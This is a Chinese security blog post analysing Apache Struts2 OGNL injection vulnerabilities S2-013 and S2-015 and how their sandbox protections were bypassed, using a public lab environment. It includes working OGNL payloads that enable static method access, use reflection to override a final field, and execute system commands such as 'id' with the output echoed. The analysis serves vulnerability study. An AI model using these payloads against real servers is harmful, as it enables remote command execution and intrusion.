浅谈struts2漏洞防护与绕过-上

2019-07-14 约 166 字 预计阅读 1 分钟

声明:本文 【浅谈struts2漏洞防护与绕过-上】 由作者 p0desta 于 2019-07-14 10:10:00 首发 先知社区 曾经 浏览数 209 次

感谢 p0desta 的辛苦付出!

这篇文章的重点不在于分析漏洞,而是通过漏洞去分析struts2沙箱的防护以及绕过,注意本文的struts2的版本范围与漏洞影响的范围是不对应的,只是顺序问题。

然后本文环境是使用的kingkk师傅仓库的https://github.com/kingkaki/Struts2-Vulenv/tree/master/S2-015

s2-013

payload

${(#_memberAccess["allowStaticMethodAccess"]=true).(@java.lang.Runtime@getRuntime().exec('open /Applications/Calculator.app'))}

这个漏洞的调用堆栈是这样的

这个洞的原因呢是struts2的标签中 <s:a><s:url> 都有一个 includeParams 属性,这个属性可以设置为

none - include no parameters in the URL (default)
get - include only GET parameters in the URL
all - include both GET and POST parameters in the URL

问题出现于这种标签解析的过程注入了OGNL表达式,当为all的时候payload可以get和post,当为get的时候只能利用get请求触发,当为none的时候不会触发。

struts2-2.3.14.1之前

在一开始我们关注allowStaticMethodAccess,因为它默认为false,阻止了我们去调用静态方法,SecurityMemberAccess类中定义了这些操作,然后它继承自DefaultMemberAccess

我们再来了解下什么是_memberAccess,在OgnlContext包里面

然后可以看到调用到

public class DefaultMemberAccess
  implements MemberAccess
{
  public boolean allowPrivateAccess = false;
  public boolean allowProtectedAccess = false;
  public boolean allowPackageProtectedAccess = false;

  public DefaultMemberAccess(boolean allowAllAccess)
  {
    this(allowAllAccess, allowAllAccess, allowAllAccess);
  }

  public DefaultMemberAccess(boolean allowPrivateAccess, boolean allowProtectedAccess, boolean allowPackageProtectedAccess)
  {
    this.allowPrivateAccess = allowPrivateAccess;
    this.allowProtectedAccess = allowProtectedAccess;
    this.allowPackageProtectedAccess = allowPackageProtectedAccess;
  }

明显看出这里控制能访问哪些函数,然后有个地方我没有调试清楚_memberAccessSecurityMemberAccess之间是如何是建立起共享属性的,文章https://paper.seebug.org/794/#32-struts-2320写了调试的过程。

但是我们可以知道通过ongl调用全局属性_memberAccess来修改掉allowStaticMethodAccess,那么我们就可以去调用类静态方法。

对于s2-013来说,payload如下

${(#_memberAccess["allowStaticMethodAccess"]=true).(@java.lang.Runtime@getRuntime().exec('open /Applications/Calculator.app'))}

S2-015

payload

${#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}.action

这个漏洞产生于在配置文件中,配置了action通配符为*,并且动态解析的时候,内容作为OGNL注入了

<package name="S2-015" extends="struts-default">
    <action name="*" class="com.demo.action.PageAction">
        <result>/{1}.jsp</result>
    </action>
</package>

这个配置可以让我访问*的时候去访问对应的jsp页面

漏洞就出在了跳转jsp页面的动态解析过程,看下调用堆栈

然后不细讲了,看一下关键部分即可,在struts2-core-2.3.14.2.jar!/org/apache/struts2/dispatcher/StrutsResultSupport.class

public void execute(ActionInvocation invocation) throws Exception {
        this.lastFinalLocation = this.conditionalParse(this.location, invocation);
        this.doExecute(this.lastFinalLocation, invocation);
    }

这里是初步处理完的跳转,然后进入conditionalParse方法进行二次处理

在后面我们看到熟悉的处理函数

然后经过熟悉的格式处理到达

RCE了,大概漏洞流程是这样,重点还是分析沙箱的绕过。

struts2-2.3.14.1-struts2-2.3.20

在到版本struts2-2.3.14.2时,看diff

将allowStaticMethodAccess添加了final修饰符,删除了setAllowStaticMethodAccess没办法直接修改了,那么如何如何绕过呢,看网上的payload

${#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}.action

在我测试过程中发现xwork.MethodAccessor.denyMethodExecution本来就是false,所以payload为

${#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}.action

这个思路是利用反射机制去调用和操作私有域和方法,详情看文章https://www.cnblogs.com/ixenos/p/5699420.html,然后突破了final,然后后面就是构造的回显了

output: 123

参考:

https://paper.seebug.org/794/#32-struts-2320
https://www.anquanke.com/post/id/161690
https://blog.semmle.com/ognl-apache-struts-exploit-CVE-2018-11776/
http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities/#S2-015

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now